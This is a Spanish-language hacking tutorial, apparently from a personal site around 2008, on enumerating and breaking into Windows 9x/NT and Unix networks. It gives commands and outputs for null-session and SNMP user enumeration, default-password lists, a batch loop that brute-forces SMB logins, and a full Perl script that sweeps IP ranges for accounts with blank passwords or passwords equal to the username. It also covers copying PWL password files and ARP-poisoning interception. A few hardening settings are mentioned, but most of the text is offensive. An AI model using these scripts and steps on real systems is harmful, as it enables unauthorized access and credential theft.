BrowserWebCheck = loadwc.exe
El siguiente paso, puede ser el uso de la herramienta nltest para conocer detalles de otros dominios Windows que se encuentren relacionados con el objetivo.
>nltest /servidor: /trusted_domains
Aprovechando la sesión nula, podemos usar DumpSec para obtener información relativa a los usuarios.
C:\>dumpsec /computer=\\192.168.1.129 /rpt=useronly /saveas=tsv /outfile=C:\temp\usuarios.txt
C:\>cat C:\temp\usuarios.txt
26/08/08 01:42 AM - Somarsoft DumpSec - \\192.168.1.129
UserName Fullname Comment
Alain Alain Cuenta predefinida para administrar el dominio
Guest Cuenta predefinida para acceso de invitados
test test Backdoor ;)
Completamos nuestra búsqueda con las herramientas sid2user y user2id, que podemos descargar en este enlace
Con ellas, primero buscamos el identificador de seguridad (SID), que es un valor numérico de longitud variable, que se asigna a cada sistema de la familia NT durante la instalación, y partir de él, tratamos de obtener el nombre de la cuenta del Administrador.
C:\>user2id \\192.168.1.129 "domain users"
S-1-5-12-8934923-4321309299-5435291903-513
Number of subauthorities is 5
Domain is WINDOWSNT
Lenght of SID in memory is 28 bytes
Type of SID is SidTypeGroup
El valor 513 que podemos ver al final de la cadena, se llama identificador relativo (RID), y permite diferenciar los grupos y usuarios en Windows. Por ejemplo, el valor 500, pertenece al Administrador. El valor 501, al usuario invitado. 1000, si se trata de la primera cuenta creada en el dominio.
Podemos enumerar por tanto todos los usuarios conociendo el SID. Con la herramienta sid2user se puede "forzar" la obtención del nombre del Administrador. Incluso, si existe asignado un valor 1 a RestrictAnonymous.
sid2user \\192.168.1.14 5 12 8934923 4321309299 5435291903 500
Name is Alain
Domain is WINDOWSNT
Type of SID is SidTypeYser
Este sencillo bucle automatiza el proceso de obtención de todas las cuentas de usuario disponibles en un sistema, utilizando ambas herramientas.
C:\>for /L %i IN (1000,1,1050) DO sid2user \\192.168.1.129 5 12 8934923 4321309299 5435291903 %I >> usuarios.txt
En GNU/Linux podemos usar la herramienta smb-nat, disponible en varios repositorios, para obtener información sobre el NetBIOS de la máquina objetivo.
~$ smb-nat -o /tmp/pruebas.txt -u /lord/dict/users.txt -p /lord/dict/mil-dic.txt 192.168.1.129
[*]--- Reading usernames from /lord/dict/users.txt
[*]--- Reading passwords from /lord/dict/mil-dic.txt
[*]--- Checking host: 192.168.1.129
[*]--- Obtaining list of remote NetBIOS names
[*]--- Remote systems name tables:
VENTISKA
VENTISKA
VENTISKA
__MSBROWSE__
WORKGROUP
WORKGROUP
WORKGROUP
[*]--- Attempting to connect with name: Alain
[*]--- CONNECTED with name: Alain
[*]--- Attempting to connect with protocol: MICROSOFT NETWORKS 1.03
[*]--- Remote server wants us to encrypt, telling it not to
[*]--- Attempting to connect with protocol: PC NETWORK PROGRAM 1.0
[*]--- Attempting to establish session
[*]--- Attempting to access share: \\Alain\
En Windows 2000, si se asigna a la clave "Restricciones adicionales para conexiones anónimas" el valor: "No obtener acceso sin permisos anónimos explícitos", se impide que el grupo Todos sea incluido en el acesso anónimo, lo cual bloquearía la creación de sesiones nulas. No siempre se realiza, ya que puede provocar problemas de conectividad para los clientes de bajo nivel y antiguas plataformas Windows (el programa dsclient ayuda a mitigar esos problemas).
C:\>net use \\192.168.1.14\ipc$ "" /u: ""
System error 5 has ocurred.
Access is denied.
Sin embargo en Windows XP/.NET se ha vuelto a diseñar el interfaz que controla dichas opciones, haciéndola bastante más engorrosa, y cambiando su ubicación a "Acceso de red". Es cierto que permite modificar mayores aspectos de seguridad referentes a este tipo de acciones, lo cual permite que el administrador comenta más errores.
Para terminar, si la clave HKLM\System\CurrentControlSet\Control\SecurePipeServer\Winreg se encuentra presente, el acceso remoto al Registro se encontrará restringido solo para Administradores, sin embargo, existen derivados de los productos Workstation que no la tienen.
La subclave AllowedPaths, define las rutas de acceso específicas en el Registro cuyo acceso se encuentra permitido.
SNMP, UDP 161
El Protocolo Simple de Administración de Red (SNMP) proporciona información sobre dispositivos, software y sistemas de red.
Los datos SNMP se encuentran protegidos con un sistema de autenticación de nombre de usuario/contrasña.
Contiene valores predeterminados y sus contraseñas son ampliamente conocidas. Por ejemplo, para acceder a un SNMP en modo lectura en una configuración por defecto es "public". Para acceder en modo escritura, se utiliza "private".
Además muchos fabricantes han implementado sus propias extensiones al SNMP. Se conocen como Management Information Base (MIBs). Generalmente contienen información específica del fabricante. Por ejemplo, la MIB de Microsoft contiene los nombres de las cuentas de usuario de Windows.
Con herramientas como SNMPUtil podemos tratar de enumerar los usuarios de Windows.
C:\>snmputil walk 192.168.1.129 public .1.3.4.1.4.1.77.1.2.25
El último parámetro (.1.3.4...) es el identificador de objeto (OID) que especifica una rama determinada de la MIB de Microsoft. MIB es un espacio de nombres jerárquico, por lo que si se va hacia arriba en el árbol, se obtendrán mayores cantidades de información. En la siguiente tabla podemos ver los segmentos más buscados.
SNMP MIB Información
.server.svSvcTable.svSvcEntry.svSvcName Servicios en ejecución
.server.svShareTable.svShareEntry.svShareName Nombres de recursos compartidos
.server.svShareTable.svShareEntry.svSharePath Rutas de acceso a recursos compartidos
.server.svShareTable.svShareEntry.svShareComment Comentarios en recursos compartidos
.server.svUserTable.svUserEntry.svUserName Nombres de usuario
.domain.domPrimaryDomain Nombres de dominio
Con GNU/Linux podemos utilizar SNMPWalk para obtener info sobre SNMP.
$ sudo snmpwalk 192.168.1.129 public
system.sysDescr.0 = Linux alain 2.4.3-20mdk #1 Sun Apr 18 2003 i686
system.sysObjectID.0 = OID: enterprises.ucdavis.ucdSnmpAgent.linux
system.sysUpTime.0 = Timeticks: (25701) 0:04:17.01
system.sysContact.0 = Root (configure
/etc/snmp/snmp.conf)system.sysName.0 = alain
......
Podemos comprobar la información adquirida para añadir a nuestro perfil. En el ejemplo, vemos que se trata de una máquina Linux, con el núcleo Kernel en la versión: 2.4.3, con una distribución conocida como Mandrake (mdk) como Sistema Operativo, y sobre arquitectura Intel 686.
Es momento de realizar un repaso a las vulnerabilidades conocidas.
BGP, TCP 179
El Border Gateway Protocol (BGP) es el protocolo de enrutamiento que utilizan los routers para propagar información de enrutamiento de paquetes IP.
Solamente las redes que disponen de máss de un enlace ascendente utilizan BGP, es decir empresas de mediano y gran tamaño.
El protocolo usa exclusivamente las direcciones de red IP y el ASN. El ASN es un entero de 16 bits que la empresa que lo utiliza, compra a ARIN para identificarse en dicha red. Existen dos técnicas para obtener dichas tablas.
1.) Visitar la web de ARIN y "preguntarle" a su base de datos por el código ASN.
2.) Consultar un router colindante que contenga el AS Path con el ASN del objetivo.
lord@ventiska:~$ telnet router.xxxxxx.net 21
router.xxxxxx.net>show ip bgp 63.79.xxx.xx
BGP routing table entry for 63.79.xxx.0/24. version 7215687
Paths: (29 available, best #14)
Not advertised to any peer
8123 312 31948 891234
221.4.xxx.xxx from 221.4.xxx.xxx (221.4.xxx.xxx)
Origin IGP, localpref 100, valid, external
Ahora, determinamos las direcciones de red asociadas con el ASN
router.xxxxxx.net>show ip bgp regexp _31948$
BGP table version is 89993xx, local router ID is 192.134.143.xxx
Status codes: s suppressed, d damped, h history, * valid, > best, i -internal
Origin codes: i - IGP, e - EGP, ? - incomplete
Network Next Hop Metric LocPrf Weight Path
* 63.79.xxx.xx 221.4.xxx.xxx 0 8123 312 31948 891234
Como podemos ver en el ejemplo, obtenemos los datos de una red asociada al objetivo, y su código ASN.
BGP es un protocolo -inseguro- en el contexto actúal de Internet, como podemos comprobar en noticias como ésta
Mediante el uso de PKI para la asignación de direcciones, previa admisión de los registros regionales, y la instalación de certificados en los routers, extendiendo el uso de sBGP o soBGp se puede asegurar de mejor forma el protocolo, pero aún no se lleva a cabo.
RPC, TCP/UDP 111 y 32771
La Llamada de Procedimiento Remoto (RCP) es un protocolo utilizado para que las aplicaciones se comuniquen entre ellas en una red. RPC utiliza un demonio asignador de puertos (rpcbind) para gestionar las peticiones de los clientes y los puertos que asigna de forma dinámica a las aplicaciones que están a la escucha.
Mediante RPCInfo o RPCDump, podemos enumerar las aplicaciones que se encuentran a la escucha en hosts remotos, y se puede dirigir a los servidores que se encuentren a la escucha en el puerto 111 (rpcbind) o en el 32771 (puertos de Sun)
$ sudo rpcinfo -p 192.168.1.129
program vers proto port
100000 2 tcp 111 rpcbind
100002 3 udp 712 rusersd
100011 2 udp 754 rquotad
100005 1 udp 635 mountd
100003 2 udp 2049 nfs
100004 2 tcp 778 ypserv
Las versiones Unix Solaris de Sun, ejecutan un segundo asignador de puertos en los puertos superiores a 32771, lo cual puede permitir obtener información, incluso aunque el puerto 111 se encuentre bloqueado. Existe un paquete llamado Secure RPC que realiza la autenticación basándose en mecanismos de cifrado de clave pública, pero en ocasiones no se encuentra presente.
La herramienta NMAP permite realizar un volcado de datos muy completo, incluyendo el nombre del servicio.
$ sudo nmap -sS -sR 192.168.1.111
Starting Nmap 4.53 ( http://insecure.org ) at 2008-08-31 19:56 CEST
Interesting ports on 192.168.1.111:
Not shown: 1705 closed ports
PORT STATE SERVICE VERSION
80/tcp open http
901/tcp open samba-swat
6000/tcp open X11
32771/tcp open sometimes-rpc5 (status V1)
32772/tcp open sometimes-rpc7 (rusersd V2-3)
32773/tcp open sometimes-rpc9 (cachefsd V1)
32774/tcp open sometimes-rpc11 (dmispd V1)
32775/tcp open sometimes-rpc13 (smmpXdmid V1)
32776/tcp open sometimes-rpc15 (tttdbservd V1)
Nmap done: 1 IP address (1 host up) scanned in 1.661 seconds
Rwho, UDP 513
Rwho muestra los usuarios que hayan iniciado una sesión en el host remoto y que ejecutan el demonio rwhod
$ rwho 192.168.1.129
alain ventiska:tty7 Aug 31 15:16
Rusers, RPC 100002
Rusers muestra una salida similar, aunque algo más detallada, puesto que incluye el tiempo que ha transcurrido desde que el usuario ha escrito en el teclado (mediante la opción -l). Esta opción la proporciona el programa de RCP rpc.usersd si se encuentra en ejecución.
$ sudo rusers -l 192.168.1.129
root 192.168.1.129:tty1 Aug 31 15:21 :51
root 192.168.1.129:ttyp0 Aug 31 15:22 :02 (:0.0)
NIS, RPC 100004
El Sistema de Información de Red (NIS) es una base de datos distribuida de información de red, en sistemas UNIX. Su principal problema es que una vez que se descubre el nombre de dominio NIS de un servidor, se puede obtener cualquiera de los mapas NIS utilizando una simple consulta RPC. Los mapas NIS son las asignaciones distribuidas de la información considerada crítica de los hosts de dominio, por ejemplo, el contenido del archivo passwd.
Con la herramienta Pscan2, y el argumento -n, podemos tratar de averiguar el nombre de dominio de un objetivo remoto.
$ pscan -n 192.168.1.102
SQL, UDP 1434
Generalmente, Microsoft SQL Server ha escuchado las conexiones clientes en el puerto TCP 1433. A partir de SQL Server 2000, Microsoft introdujo la posibilidad de almacenar varias "instancias" de SQL Server en el mismo equipo físico (cada instancia es un SQL Server virtual distinto). Según las reglas TCP/IP, el problema se encuentra en que el puerto 1433 sólo puede servir como puerto SQL predeterminado para una de las instancias dentro de una determinada máquina, el resto de instancias tienen que tener asignadas un puerto TCP distinto. El SQL Server Resolution Service identifica qué instancias van a a escuchar en cada uno de los puertos de los clientes remotos (similar en funcionamiento a RPC). Este Servidore de resoluciones, escucha en el puerto UDP 1434 en SQL Server 2000 y en puertos superiores.
Con la herramienta SQLPing podemos explorar rangos de IP y adivinar contraseñas mediante fuerza bruta, además de extraer gran cantidad de datos de los entornos SQL mal configurados.
También es posible que existan errores de desbordamiento de búfer basados en la pila en dicho puerto.
De nuevo es importante hacer un repaso a las vulnerabilidades conocidas.
NFS, TCP/UDP 2049
Con la utilidad Showmount de UNIX, podemos enumerar sistemas de archivos exportados mediante NFS en una red.
Por ejemplo:
$ sudo showmount -e 192.168.1.33
export list for 192.168.1.33:
/pub (everyone)
/var (everyone)
/usr user
La opción "-e" muestra la lista de exportación del servidor NFS.
Hacking 95/98/ME
Creo que se ha convertido en un hecho evidente de que Windows 95/95B/98/98SE/ME o familia DOS, no fueron diseñados para ser sistemas operativos seguros, sino funcionales.
En Windows 9x/ME es imposible ejecutar mandatos de forma remota utilizando herramientas predefinidas y sólo se puede acceder al Registro de Windows 9x si la solicitud de acceso pasa en primer lugar a través de un proveedor de seguridad, como por ejemplo un servidor de la familia NT o un basado en Novell NetWare. La familia NT y Novell NetWare proporcionan seguridad a "user-level" (nivel de usuario), frente a la seguridad basada en "shared-level" (nivel compartido) basada en usuario/contraseña de cada usuario local de los Win 9x/ME.
Por tanto, la seguridad de Win 9x/ME podrá verse comprometida utilizando las rutas clásicas: configuraciones erróneas, ingeniería social, mediante acceso físico a la máquina objetivo, etc.
Recursos compartidos
Windows 9x proporciona tres mecanismos para el acceso directo al sistema: compartición de archivos e impresoras, el servidor opcional de acceso telefónico y la manipulación remota del Registro.
El acceso remoto al Registro requiere una personalización y seguridad a nivel de usuario bastante avanzados, y raramente lo encontraremos en sistemas externos a una LAN empresarial.
Una variante del primer mecanismo de ataque es observar las credenciales enviadas por un usuario remoto para conectarse a un recurso compartido de un sistema Windows 9x, por ejemplo, realizando un envenenamiento ARP y esnifando el tráfico.
Para realizar una intrusión a través de recursos compartidos, podemos utilizar Cain & Abel. Incluyen, entre otras muchas cosas, una herramienta de fuerza bruta, que permite adivinar los usuarios/contraseñas a partir de un archivo de texto a modo de ataque de diccionario, perfectamente útil para el caso.
Es importante recordar, que si se agrega un carácter $ al nombre que se asigna al recurso compartido, éste deja de aparecer en el Entorno de red y en la salida de muchas herramientas de exploración de NetBIOS, lo cual, no significa que no exista.
El grupo L0pth descubrió que cuando se activa la compartición de archivos en Windows 9x, el sistema operativo volvía a emitir el mismo "desafío" a las conexiones remotas solicitadas durante un período de 15 minutos. Windows utiliza una combinación del nombre de usuario y de este desafío para realizar el hash de la contraseña del usuario remoto, mientras que el nombre de usuario se envía en forma de texto claro. Por tanto, se puede volver a enviar una petición de autenticación hash idéntica dentro del intervalo de los 15 minutos siguientes y montar con éxito el sistema de compartición de archivos en Windows 9x. Ya que durante ese período de tiempo, el valor del hash de la contraseña será el mismo.
Aunque se trata de un error típico criptográfico, es complicado aprovecharlo. Si se tiene acceso al segmento de red local para escuchar una conexión específica y se modifica el cliente de red Samba para reconstruir manualmente el tráfico de autenticación de red necesario, podría llegar a conseguirse un acceso remoto.
De la misma forma, el Servidor de acceso telefónico a redes incluido en Windows 9x, tendrá activado la compartición de archivos, y por tanto, será posible adivinar las contraseñas de los recursos situados al otro lado del módem, siempre y cuando no se haya establecido ninguna contraseña de acceso telefónico.
También es importante saber que Windows 9x no puede encaminar el tráfico de red.
Windows 9x no tiene capacidad propia para realizar un acceso remoto al Registro.
Si se instala el Servicio de Registro Remoto de Microsoft que viene con el CD de instalación (\admin\nettools\remotreg), es posible acceder al mismo de forma remota, aunque requiere que esté activada la seguridad a nivel de usuario, por lo que para poder acceder al mismo superando la seguridad, se necesita al menos un nombre de usuario válido y usar fuerza bruta. Según la longitud de la contraseña, a veces es posible.
En Windows ME la compartición de archivos e impresoras se encuentra desactivada por defecto, junto con el Servicio de Registro remoto.
Utilizar troyanos frente a máquinas Windows 9x era una técnica habitual en la época, los más clásicos son:
-BackOrifice2000
-NetBus
-SubSeven
Windows 9x cuenta con varios errores que permiten realizar denegaciones de servicio, con técnicas y herramientas como "ping of death", teardrop, land o WinNuke.
Acceso Local
A diferencia de la familia NT, Windows 9x no dispone del concepto de inicio de sesión multiusuario y seguro. Por tanto, delante de la máquina basta con "cancelar" la petición de usuario y contraseña para acceder al sistema.
También es importante resaltar, que Windows 9x realiza un muestreo de forma regular para detectar si se ha insertado un CD. Cuando se detecta, se comprueba si existe en él un archivo llamado Autorun.inf. Si existe, se ejecutan automáticamente los programas que aparecen en la línea "open=" de ese archivo. Eso permite ejecutar cualquier tipo de software, por ejemplo, el ejecutable de un troyano de los vistos anteriormente.
Además Windows 9x guarda la contraseña del salvapantallas en la clave de registro HKEY\Users\.Default\Control Panel\ScreenSave_Data, sino es posible acceder, podemos tratar de leer el archivo C:\Windows\USER.DAT , descifrarlo, y obtener la password buscada.
La lista cifrada de contraseñas de Windows 9x, un archivo PWL, se encuentra en el directorio raíz del sistema (generalmente en C:\Windows). Estos archivos tienen un nombre distinto para cada perfil de usuario del sistema, pero con un único archivo de proceso por lotes almacenado en un disquete en la unidad A: y ejecutando la siguiente instrucción es muy probable obtener la mayoría de estos archivos del sistema objetivo.
copy c:\Windows\*.pwl a:
Los archivos PWL contienen una lista oculta de contraseñas utilizadas para acceder a los siguientes recursos de red:
-Aplicaciones que se han escrito para potenciar a la interfaz de programación de aplicaciones (API) con almacenamiento en caché de la contraseña, como por ejemplo, el Acceso telefónico a redes.
-Equipos con Windows NT que no pertenecen a un dominio.
-Contraseñas de inicio de sesión en Windows NT que no son el inicio de sesión principal de red.
-Servidores NetWare.
Antes de la versión OSR2, Windows 95 utilizaba un algoritmo débil de cifrado para los archivos PWL, facilmente atacable con herramientas. Actuálmente es más fuerte, pero todavía se basa en las credenciales de inicio de sesión, por tanto, aunque con algo más de tiempo, es posible romperlo.
Con PwTool podemos realizar ataques de fuerza bruta o de diccionario contra el archivo PWL y obtener las claves en relativamente poco tiempo.Cain & Abel hacen perfectamente dicha tarea.
Se pueden desactivar el almacenamiento en caché de las contraseñas en la siguiente clave de registro: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Network\DisablePwdCaching = 1
Windows ME se comporta de igual manera que el Windows 9x en términos locales, sin embargo, cuenta junto con Win 98 Plus! de una función nueva conocida como "Carpetas Comprimidas", que de forma transparente, comprime cualquier archivo que se intoduzca dentro de ella para ahorrar espacio en disco. Microsoft permite una protección de dicho lugar mediante una contraseña. Sin embargo, generalmente podemos encontrar en texto plano las contraseñs en el archivo C:\windows\dynazip.log dentro del propio sistema Win 98 Plus! o ME.
Hacking NT
La familia NT son aquellos sistemas basados en la plataforma NewTechnology (NT) de Microsoft, que incluye Win NT 3.x-4.x, Windows 2000, Windows XP y Windows .NET Server.
Las principales áreas de riesgo pueden ser su popularidad y las configuraciones predeterminadas inseguras (Code Red y Nimda).
Un máquina con NT puede ser tan segura como cualquiera basada en UNIX. Existen multitud de opciones para configurar la seguridad, a pesar de la simplicidad de la interfaz que usa el administrador. Por tanto, los administradores noveles suelen ser los que dejan puertas innecesarias que permiten realizar intrusiones.
Existen los filtros IPSec (Windows 2000 y anteriores) y el Servidor de Seguridad para Conexión a Internet (Windows XP y posteriores), y generalmente un cortafuegos restringirá el acceso a los servicios SMB. También existe el Servicio de Acceso Remoto y Encaminamiento (RRAS) que cuenta con filtros similares a los de IPSec ajustando la sobrecarga y obteniendo un mayor rendimiento. Los Windows XP y .NET Server 2003 y versiones posteriores, cuentan con el Internet Connection Firewall (ICF) que bloquea los puertos deseados de manera efectiva, aunque cuenta con una limitación importante, no permite restringir el acceso a los servicios basados en direcciones IP orígenes.
Hasta la aparición del Service Pack 3 de NT, no se añadió la función de seguridad SYSKEY, y hasta el Service Pack 2 de Windows 2000 no se resolvieron los errores críticos de IIS.
De todas maneras, el soporte de sistemas heredados (activado de forma predeterminada al instalar el sistema operativo) puede suponer un primer "problema", como por ejemplo, en las funciones heredadas relacionadas con la autenticación SMB.
Ataque basado en el Bloque de Mensajes del Servidor (SMB)
SMB se puede acceder desde dos puertos TCP: el Servicio de Sesión NetBIOS (TCP/139), y el TCP/445 para el SMB en bruto sobre TCP, denominado "host directo". Las versiones de Windows NT anteriores a Windows 2000 utilizan sólo TCP 139. El Windows 2000 y versiones posteriores tienen de forma predeterminada ambos.
Las cuentas locales de un servidor o una estación de trabajo siempre serán más faciles de obtener debido a la poca seguridad que adoptan los usuarios, mientras que la de los controladores de dominio serán algo más robustas seguramente, ya que permiten el control de todo el dominio y el de otros que tenga asignados en confianza.
Especificando un asterisco (*) en lugar de la contraseña, forzaremos al sistema objetivo a solicitar la escritura de una.
C:\> net use \\192.168.1.142\IPC$ * /u:Administrador
Type the password for \\192.168.1.142\IPC$:
The command completed successfully.
Las cuentas existentes en la Familia NT se identifican mediante un SID, formado por las parejas MAQUINA\Cuenta o DOMINIO\Cuenta.
Mediante el uso de la herramienta netdom podemos obtener el nombre de dominio NT de un sistema objetivo.
Las cuentas de usuario se bloquean, lo cual puede permitir que una red empresarial por ejemplo, deje de ser funcional si se realiza de forma indiscriminada.
Los sistemas NT cuentan con un registro de sucesos muy completo, tanto inicios de sesión como otras acciones quedan registradas.
Algunas contraseñas clásicas utilizadas o de alta probabilidad:
USUARIO / PASSWORD
Administrador / NULL, administrador, admin, Admin,
arcserve / arcserve, backup
prueba / prueba, password, contraseña
test / test, testing
backup / backup
guest / guest
Podemos generar un sencillo script para automatizar la prueba de Usuarios/Contraseña mediante una claúsula FOR y un archivo que contenga los pares para contrastar. De todas formas, existen multitud de herramientas para dicha acción.
[archivo: pruebas.txt]
contraseña nombre de usuario
"" Administrador
contraseña Administrador
admin Administrador
administrador Administrador
.....
C:\FOR /F "tokens=1.2*" %1 in (pruebas.txt) do net use \\ 192.168.1.142\IPC$ %i /u:%j
Si utilizamos UNIX y tenemos samba y nbtscan instalados, podemos usar el siguiente script para descubrir contraseñas nulas:
###############
# #
# by Genco #
# #
###############
#!/usr/bin/perl
#use strict;
if(@ARGV < 2){
print "usar: $0 n";
exit 0;
}
$rango=shift(@ARGV);
$file=shift(@ARGV);
$rango=~ s/d+.d+/d+//g;
chop($rango);
##Vaciado de fichero de linea de comandos.
if(-e "$file"){
open(USER,"echo -n > $file|");
close(USER);
}
##Vaciado de fichero de usuarios si existe
if(-e "usuarios_nulos.txt"){
open(USER,"|echo -n > usuarios_nulos.txt");
close(USER);
}
##Escaneo rangos ip y los redirijo a un archivo.
print "Escaneando rango $rango.0.0nn";
for($i=1;$i<=254;$i++){
print "Estas en el rango $rango.$i.0/24nn";
open(SCAN,"|nbtscan -q $rango.$i.0/24 >> $file");
close(SCAN);
}
##Sacando ips del fichero introducido en linea de comandos.
`grep "" $file | awk '{print $1}' > ipes_validas.txt`;
open(IPES_VAL,"ipes_validas.txt");
if( eq ""){
print "nNo se puede conectar con el servidor o
no hay servidores activos en el rango :(n";
exit 0;
}
close(IPES_VAL);
open(IPES_VAL,"ipes_validas.txt");
foreach $ip (){
chop($ip);
print "nComprobando la ip $ip ...n";
open(OUT,"net rpc user -I $ip -U""%"" 2> /dev/null|");
sleep(1);
$comp=;
chop($comp);
if(length($comp) > 32){
print "nNo se pudo conectar al servidor $ip con sesion nula.n";
close(OUT);
next;
}
elsif(length($comp) == 0){
print "nNo se pudo conectar al servidor $ip n";
close(OUT);
next;
}
else{
print "nCONECTANDO CON EL SERVIDOR $ipn";
print "nObteniendo usuarios con NULL session...n";
open(OUT,"net rpc user -I $ip -U""%"" >> usuarios_nulos.txt|");
sleep(1);
}
close(OUT);
close(IPES_VAL);
open(OUT,"usuarios_nulos.txt");
if( eq ""){
print"nNo se pudieron establecer sesiones nulas
o el servidor no devolvio usuarios. :(n";
exit 0;
close(OUT);
}
##Autentico con nombre de usuario y null password
open(IPES_VAL,"ipes_validas.txt");
open(USRNULL,"usuarios_nulos.txt");
print "nComprobando usuarios con password en blanco...n";
foreach $user (){
chop($user);
$user=~ tr/A-Z/a-z/;
open(OUT,"net rpc user -I $ip -U"$user"%""|");
sleep(1);
$comp=;
chop($comp);
if(length($comp) > 32){
print "nNo se pudo conectar al servidor $ip con el usuario $user y password en blanco. n";
close(OUT);
next;
}
else{
print "nConectado al servidor $ip con el usuario $user y password en blancon";
open(OUT,"|echo El usuario $user en servidor $ip tiene password
en blanco y pertenece a los grupos: >> usuarios_validados.txt");
close(OUT);
open(OUT,"|net rpc user INFO $user -I $ip -U"$user"%"$user" >> usuarios_validados.txt|");
close(OUT);
open(OUT,"|net rpc share -I $ip -U"$user"%"$user" >> usuarios_validados.txt|");
}
close(OUT);
}
close(IPES_VAL);
close(USRNULL);
open(IPES_VAL,"ipes_validas.txt");
open(USRNULL,"usuarios_nulos.txt");
print "nComprobando usuarios con password igual a nombre de usuario...n";
foreach $user (){
chop($user);
$user=~ tr/A-Z/a-z/;
open(OUT,"net rpc user -I $ip -U"$user"%"$user"|");
sleep(1);
$comp=;
chop($comp);
if(length($comp) > 32){
print "nNo se pudo conectar al servidor $ip usuario $user con password $user.n";
close(OUT);
next;
}
else{
print "nConectado al servidor $ip con usuario $user y password $usern";
open(OUT,"|echo El usuario $user del servidor $ip tiene la password
con su nombre de usuario y pertenece a los grupos: >> usuarios_validados.txt");
close(OUT);
open(OUT,"|net rpc user INFO $user -I $ip -U"$user"%"$user" >> usuarios_validados.txt|");
close(OUT);
open(OUT,"|net rpc share -I $ip -U"$user"%"$user" >> usuarios_validados.txt|");
}
close(OUT);
}
open(OUT,"| echo -n > usuarios_nulos.txt");
}
close(OUT);
close(IPES_VAL);
close(USRNULL);
"Man in the middle" en una red NT
Adivinar contraseñas puede ser un trabajo muy duro, sin embargo, snifando el tráfico de red, es posible que podamos obtener las credenciales de los distintos usuarios de una forma más rápida.
Por ejemplo, utilizando un poco de ingeniería social, y algun programa como L0phtcrack o Cain & Abel, podemos hacer que los empleados visiten una página web alojada en una máquina bajo nuestro control dentro de su red LAN, y esnifar sus credenciales de sesión al acceder a nuestro server. Aunque, de todas formas, se puede realizar un MiM sin necesidad de usar la picaresca.
Los clientes cuando se autentican, reciben un desafío (challenge) aleatorio enviado por el servidor, el cliente cifra el desafío utilizando como clave el hash de la contraseña del usuario, y posteriormente, el cliente cifra el desafio con su propia copia del hash del usuario y compara los dos valores. Si coinciden, el usuario quedará autenticado (Q102716). Aunque el hash de la constraseña de usuario no cruce la red, L0phtcrack puede realizar un ataque de fuerza bruta mediante el SMP Packet Capture, realizando desafíos con cadenas aleatorias a partir de un paquete, con objeto de obtener aquel que comparado sea el hash cifrado. L0phtcrack es capaz de invertir el hash, y ejecutar en paralelo las pruebas en varios sectores distintos del hash a modo de segmentación. Debido a las debilidades del algoritmo de Microsoft del LAN Manager (LM) se puede realizar este ataque en muy poco tiempo. De todas formas, la herramienta SMB Capture sólo puede capturar inicios de sesión que hayan sido realizados en máquinas Win9x/ME y NT4 o anteriores, que envíen la respuesta LM por la red. El proceso de autenticación con Windows 2000 y posteriores es diferente (NTLM).
En el Service Pack 4 de NT 4.0, Microsoft ha añadido una clave y un valor al registro que controlan la autenticación LM, pudiendo impedir que el LM Response viaje por la red. La clave es la mostrada, y el valor "LMCompatibilityLevel".
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\LSA
Si nos encontramos en una red conmutada, se puede realizar un envenenamiento de las tablas ARP para redirigir el tráfico hacia la máquina en la que estamos, snifando todo lo que sucede, y posteriormente, realizando un "forwarding" de paquetes de nuevo hacia la red. Dará igual la arquitectura de la máquina objetivo.
La herramienta Ettercap para GNU/Linux permite envenenar las tablas ARP de forma sencilla.
$ sudo ettercap -G (mostrará un sencillo interfaz)
Para realizar forwarding en máquinas UNIX, debemos modificar el parámetro "0" por un "1" en el fichero ip_forward:
$ sudo vim /proc/sys/net/ipv4/ip_forward (vim es un editor muy potente, recuerda :wq! para salir grabando)
Lo siguiente es snifar la red, con Wireshark podemos obtener los paquetes en tiempo real que van llegando a nuestra máquina, y analizar su contenido.
Copyright (c) 2004, 2005, 2006, 2007, 2008, 2009 - lord epsylon
Verbatim copying and redistribution of this entire page are
permitted provided this notice is preserved.
Verbatim copying and redistribution of any of the photos in the
website is permitted under the
Creative
Commons Noderivs license version 3.0 or later.
2005-2008 [SFD] - Sin Fronteras Digitales, http://www.lordepsylon.net